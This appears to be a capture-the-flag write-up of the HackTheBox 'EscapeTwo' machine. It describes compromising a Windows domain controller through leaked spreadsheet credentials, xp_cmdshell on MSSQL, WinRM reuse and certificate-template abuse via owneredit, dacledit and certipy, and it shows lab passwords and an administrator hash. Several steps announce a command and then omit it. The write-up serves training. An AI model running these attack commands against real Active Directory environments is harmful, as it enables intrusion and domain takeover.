EscapeTwo¶
Initial Scan¶
| Port | Service | Detail |
|---|---|---|
| 53 | DNS | Microsoft DNS |
| 88 | Kerberos | Windows AD |
| 135 | MSRPC | Windows RPC |
| 139 | NetBIOS | SMB |
| 389 | LDAP | Active Directory |
| 445 | SMB | Windows SMB |
| 1433 | MSSQL | Microsoft SQL Server |
| 5985 | WinRM | Windows Remote Management |
This is a Windows Domain Controller running MSSQL.
Enumeration¶
SMB¶
Using the provided credentials rose / KxEPkKe6R8su, we connect to the SMB share:
The Accounting share contains an Excel file accounting_2024.xlsx. Extracting the shared strings reveals a credential table:
| Username | Password |
|---|---|
| angela | 0fwz7Q4mSpurIt99 |
| oscar | 86LxLBMgEWaKUnBG |
| kevin | Md9Wlq1E5bZnVDVo |
| sa | MSSQLP@ssw0rd! |
| sql_svc | WqSZAF6CysDQbGb3 |
| ryan | WqSZAF6CysDQbGb3 |
Exploitation¶
MSSQL with sa¶
The sa account has sysadmin access on the SQL server:
Enable xp_cmdshell and enumerate SQL configuration:
SQL (sa dbo@master)> enable_xp_cmdshell
SQL (sa dbo@master)> xp_cmdshell type C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI
The configuration file reveals the SQL service account password for sql_svc.
Credential Reuse - WinRM¶
The sql_svc password is reused for the ryan account:
Connect via Evil-WinRM:
Privilege Escalation¶
ADCS Abuse via Shadow Credentials¶
The ryan user has permissions over the ca_svc (Certificate Authority) account. We abuse this via shadow credentials to obtain a certificate for ca_svc.
Step 1 - Take ownership and grant DCSync rights:
owneredit.py -action write -new-owner "ryan" -target "ca_svc" "sequel.htb"/"ryan":"WqSZAF6CysDQbGb3"
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc "sequel.htb"/"ryan":"WqSZAF6CysDQbGb3"
Step 2 - Shadow credentials to get ca_svc NT hash:
Step 3 - Request a certificate as ca_svc for the administrator UPN using the vulnerable template:
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA \
-target sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication \
-upn administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
Step 4 - Authenticate with the certificate:
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
Root Access¶
Flags¶
user.txt: *** root.txt: ***